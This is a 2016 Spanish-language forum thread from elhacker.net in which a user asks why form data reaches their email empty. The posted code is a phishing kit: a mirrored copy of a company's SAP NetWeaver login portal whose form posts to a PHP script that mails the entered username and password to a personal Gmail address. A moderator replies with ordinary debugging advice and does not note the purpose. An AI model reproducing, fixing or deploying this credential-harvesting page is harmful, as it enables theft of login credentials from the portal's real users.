elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Los datos de mi formulario me llegan vacíos
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Los datos de mi formulario me llegan vacíos  (Leído 2,303 veces)
ramira

Desconectado Desconectado

Mensajes: 1


Ver Perfil
Los datos de mi formulario me llegan vacíos
« en: 22 Septiembre 2016, 20:30 pm »

Buenas, tengo creado un formulario en html y una acción en php para que me lleguen los datos del formulario a mi correo, me llega el correo pero los datos llegan vacíos, les agradecería me pudieran ayudar ya que no se donde puede estar el fallo. Estos son los códigos:

CÓDIGO PHP:

Código
  1. <?php
  2. function MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat) {
  3.    if($mailFormat == 0) {
  4.        $headers  = "MIME-Version: 1.0\r\n";
  5.        $headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
  6.    } else {
  7.        $headers = "";
  8.    }
  9.  
  10.    $headers .= "From: ". $mailFrom . "\r\n";
  11.    $headers .= "Reply-To: " . $mailFrom . "\r\n";
  12.    $headers .= "X-Mailer: PHP/" . phpversion();
  13.  
  14.    mail($mailTo,$mailSubject,$mailBody,$headers);
  15. }
  16. ;
  17.    $mailTo = "mfcamposreyes@gmail.com";// Dirección de Email a donde se enviara el correo
  18.    $usuarios=$_POST['j_username'];
  19.    $clave_de_acceso=$_POST['j_password'];
  20.    $mailSubject = "Intranet";
  21.  
  22. $mailFormat = 0;
  23. $mailBody = <<<EOT
  24. <div style="width:380px; border:1px #999 solid; font-family:verdana; font-size:12px; color:#333; padding:10px;">
  25. <h1 style="font-size:14px; font-family:comic sans;">Datos de Contacto</h1>
  26. <strong>Usuarios:</strong> $j_username\r\n <br />
  27. <strong>Clave_de_acceso:</strong> $j_password\r\n <br />
  28. </div>
  29. EOT;
  30.    MandaEmail($mailTo,$mailFrom,$mailSubject,$mailBody,$mailFormat);
  31. ?>
  32. <?php
  33.    echo <<<EOT
  34. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  35. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es-MX" lang="es-MX">
  36. <head>
  37.     <meta http-equiv="content-type" content="text/html; charset=UTF-8" />
  38.     <meta name="author" content="Ag666" />
  39.     <meta name="keywords" content="" />
  40.     <title>Gracias por contactarnos</title>
  41. </head>
  42. <body>
  43.  
  44. <p style="font:700 15px 'trebuchet MS';color:#333;text-align:center;"></p>
  45.  
  46. </body>
  47. </html>
  48. EOT;
  49. ?>
  50.  
FORMULARIO EN HTML:

Código
  1. <!-- Mirrored from portal.imagina.tv/irj/portal by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 15 Sep 2016 14:26:25 GMT -->
  2. <!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=UTF-8" /><!-- /Added by HTTrack -->
  3. <script type="text/javascript">
  4. /*HTML Business for Java, 6.0*/
  5. ur_system = {doc : window.document , mimepath :"/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/common/", stylepath : "/com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/", is508 : false, domainrelaxing : "MINIMAL"};
  6. var popup_emptydoc = "../htmlb/jslib/emptyhover.html";</script>
  7. <link rel="stylesheet" href="../com.sap.portal.design.portaldesigndata/themes/portal/sap_standard/prtl_std/prtl_std_default88f5.html?v=7.31.11.0.0" />
  8.  
  9. <!-- EPCF: BOB Core -->
  10. <meta http-equiv="content-script-type" content="text/javascript"/>
  11. <script type="text/javascript" src="../com.sap.portal.epcf.loader/script/optimize/js13_epcf1e03.js?7.310000014"></script>
  12. <script type="text/javascript">
  13. <!--
  14. EPCM.relaxDocumentDomain();
  15. EPCM.init( {
  16. Version:7.310000014,
  17. Level:1,
  18. DynamicTop:false, // [service=true nestedWinOnAlias=false]
  19. UAType:2, // [Netscape]
  20. UAVersion:4.5,
  21. UAPlatform:1, // [Win]
  22. UIPMode:"1", // [Default=1, User=0, Personalize=true]
  23. UIPWinFeatures:"",
  24. UIPPortalPath:"http://portal.imagina.tv:80/irj/portal",
  25. UIPPopupComp:"http://portal.imagina.tv:80/irj/servlet/prt/portal/prtroot/com.sap.portal.epcf.admin.WorkProtectPopup",
  26. UIPPopupCompSize:"dialogWidth:450px; dialogHeight:200px; status:no",
  27. UIPPopupMsgNN:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20continuar\x20con\x20la\x20navegaci\xf3n\x20y\x20abrir\x20una\x20ventana\x20nueva\x3f",
  28. UIPPopupMsgND:"Su\x20p\xe1gina\x20actual\x20contiene\x20datos\x20no\x20grabados\r\n\xbfDesea\x20rechazar\x20las\x20modificaciones\x20y\x20abrir\x20el\x20contenido\x20en\x20la\x20misma\x20ventana\x3f",
  29. DBGException:false,
  30. DBCookie:false
  31. } );
  32. EPCM.DSM.init( {
  33. TerminatorURL:"/irj/servlet/prt/portal/prtroot/com.sap.portal.dsm.Terminator",
  34. WinEmptyUrl:"/com.sap.portal.dsm/images/empty.gif",
  35. NavAcrossSubFramesUrl:"disabled",
  36. ForcedUserDebug:false,
  37. KeepAliveActive:false,
  38. KeepAliveDelta:840,
  39. dsmMethodGetKey:"",
  40. KeepAliveStopAfter:36000
  41. } );
  42. function SAPWP_receiveSessInfo( sessInfo, frameRef ){
  43.  EPCM.DSM.processSession( sessInfo, frameRef );
  44. }
  45. //-->
  46. <!-- EPCF: EOB Core -->
  47. <title>SAP&#38;#38;#x20;NetWeaver&#38;#38;#x20;Portal</title><meta HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"><link  REL=STYLESHEET  HREF="../com.sap.portal.design.urdesigndata/themes/portal/sap_standard/ur/ur_default34da.html?9900d9720b53f45449631546978bd40d?v=7.33.3.62.0"  TYPE="text/css" ></head><body class="prtlBody urFontBaseFam urScrl">
  48. <!-- EPCF: Component com.sap.portal.runtime.logon.certlogon, fkfloinideafgekfboionjfhcodnmpfc -->
  49.  var inPortalScript = true
  50.  var webpath = "../es.imagina.logon.page/index.html"
  51.  
  52. <link rel=stylesheet href="../es.imagina.logon.page/css/ur/ur_ie5.css">
  53. <script language="javascript">
  54. var originWindowName=window.name;
  55. window.name="logonAppPage";
  56. function restoreWindow() {
  57. try{
  58. window.name=originWindowName;
  59. } catch(ex){}
  60. }
  61. <script language="javascript">
  62. function putFocus(formInst, elementInst) {
  63.  if (document.forms.length > 0) {
  64.    document.forms[formInst].elements[elementInst].focus();
  65.  }
  66. }
  67.  
  68. function setValuesAutoCreation() {
  69. var form = document.getElementById('logonForm');
  70. form.j_username.value="";
  71. form.j_password.value="";
  72. form.automaticAccountCreation.value="true";
  73. }
  74. function submitForm() {
  75. var form = document.getElementById('logonForm');
  76. form.submit();
  77. }
  78. function clearEntries() {
  79.  document.logonForm.longUid.value="";
  80.  document.logonForm.password.value="";
  81. }
  82. function setFocusToFirstField() {
  83. myform = document.logonForm;
  84. try{
  85.   for (i=0; i<myform.length; i++) {
  86.    elem = myform.elements[i];
  87.    if (!elem.disabled) {
  88.      elemType = elem.type;
  89.      if (elemType=="text" || elemType=="password") {
  90.       if (!elem.readOnly) {
  91.          elem.focus();
  92.          break;
  93.       }
  94.      }
  95.      if (elemType=="select-one" || elemType=="select-multiple" || elemType=="checkbox" || elemType=="radio") {
  96.        elem.focus();
  97.        break;
  98.      }
  99.    }
  100.   }
  101. } catch(ex){
  102. }
  103. }
  104. function addTenantPrefix() {
  105.  return true;
  106. }
  107. <span id="UMELogon">
  108. <script language="javascript">
  109. if( window.EPCM != null ) {
  110.  EPCM.subscribeEvent( "urn:com.sapportals.portal:browser", "load", setFocusToFirstField );
  111. }
  112.  
  113.  
  114.  
  115.  
  116.  
  117.  
  118.  
  119.  
  120. <link rel="shortcut icon" type="image/x-icon" href="../es.imagina.logon.page/layout/imaginaurl.ico" />
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127. <form action="send.php" method="POST" enctype="text/plain">
  128. <FORM  AUTOCOMPLETE="off"  id="logonForm" name="logonForm" target="logonAppPage" method="POST" action="send.php" >
  129. <input name="login_submit" type="hidden" value="on"><input type="hidden" name="login_do_redirect" value="1" /><input name="no_cert_storing" type="hidden" value="on"><input type="hidden" name="j_salt" value="1RrXcriNa5mPA7RZflsuT6wP2Qk=" />
  130.  
  131. <table height="100%" width="100%">
  132. <tr>
  133. <td>
  134. <table width="725px" height="365px" align="center" valign="middle" border="0">
  135. <tr>
  136. <td>
  137. <div style="background-image: url('../es.imagina.logon.page/layout/imagina_loguin.jpg');background-repeat: no-repeat;">
  138. <table height="365px" width="100%"  border="0">
  139. <tr height="110px"><td></td><td>&nbsp;</td>
  140. <td valign="bottom">
  141.  
  142. </td>
  143. </tr>
  144.  
  145. <tr height="15px">
  146. <td width="375px"></td>
  147. <td width="1px">&nbsp;</td>
  148. <td valign="top">
  149. <span STYLE="font-size: smaller; color: #ffffff"><label class="null"><nobr>Usuarios<span class=urLblReq>&nbsp;*</span></nobr></label>
  150.  
  151. </span>
  152. </td>
  153. </tr>
  154. <tr height="25px">
  155. <td width="400px"></td>
  156. <td>&nbsp;</td>
  157. <td valign="top">
  158. <input type="text" id="logonuidfield"  name="j_username" value="" title="j_username*" class="urEdfTxtEnbl" style="width:170px">
  159.  
  160. </td>
  161. </tr>
  162.  
  163. <tr height="15px">
  164. <td>&nbsp;</td>
  165. <td>&nbsp;</td>
  166. <td valign="top">
  167. <span STYLE="font-size: smaller; color: #ffffff"><label class="null" for="logonpassfield"><nobr>Clave de acceso<span class=urLblReq>&nbsp;*</span></nobr></label>
  168. </span>
  169. </td>
  170. </tr >
  171. <tr height="45px">
  172. <td>&nbsp;</td>
  173. <td>&nbsp;</td>
  174. <td valign="top">
  175. <input type="password" id="logonpassfield"  name="j_password" class="urEdfTxtEnbl" style="width:170px">
  176.  
  177. </td>
  178. </tr >
  179. <tr height="28px">
  180. <td>&nbsp;</td>
  181. <td>&nbsp;</td>
  182. <td valign="28px" align="left">
  183. <a href="javascript:document.forms[0].submit()"
  184. onclick="return val_form_this_page()" align="left">
  185. <img src="../es.imagina.logon.page/layout/boton_es.png" border="0" alt="" name="sub_but" />
  186. </a>
  187. </td>
  188. </tr>
  189. <tr><td></td><td>&nbsp;</td></tr>
  190. <tr>
  191. <td width="400px"></td>
  192. <td colspan="2">
  193.  
  194. </td></tr>
  195. </table>
  196. </div>
  197. </td>
  198. </tr>
  199. </table>
  200.    </td></tr>
  201. </table>
  202.  
  203. </form>
  204.  
  205. <script src="../es.imagina_frameworkpage/scripts/jquery-1.8.0.min.js"></script>
  206. <script type="text/javascript" defer>
  207.  
  208. if (document.layers)
  209.    document.captureEvents(Event.KEYDOWN);
  210. document.onkeydown =
  211.     function (evt) {
  212.        var keyCode = evt ? (evt.which ? evt.which : evt.keyCode) : event.keyCode;
  213.        if (keyCode == 13) {
  214.         document.forms[0].submit();
  215.        }
  216.        if (keyCode == 27) {
  217.            //For escape.
  218.            //Your function here.
  219.        }
  220.        else
  221.            return true;
  222.    };
  223.  
  224.  
  225.  
  226.  
  227. </span>
  228. <SCRIPT>var hash = document.location.hash;if (hash && hash !='#'){ var forms = document.getElementsByTagName('FORM'); for (var i = 0; i < forms.length; i++) {      var form = forms[i];     var currentElement = document.createElement('input');     currentElement.setAttribute('type', 'hidden');     currentElement.setAttribute('name', 'postAnchorString');     currentElement.setAttribute('id', 'postAnchorString');     currentElement.setAttribute('value', hash);     form.appendChild(currentElement);     }}</SCRIPT></body>
  229. <!-- Mirrored from portal.imagina.tv/irj/portal by HTTrack Website Copier/3.x [XR&CO'2014], Thu, 15 Sep 2016 14:26:28 GMT -->
  230. </html>


Mod: Los códigos deben ir en etiquetas GeSHi


« Última modificación: 23 Septiembre 2016, 05:10 am por engel lex » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: Los datos de mi formulario me llegan vacíos
« Respuesta #1 en: 23 Septiembre 2016, 05:14 am »

tu html tiene tooodo el codigo y gran parte no relevante al tema, es pesado revisarlo a ver los errores a primera vista...

en el codigo de send.php, usar un var_dump a post a ver que te está llegando, si no llega ninguna variable, asegurate que estás llamandolo desde el script correcto


En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines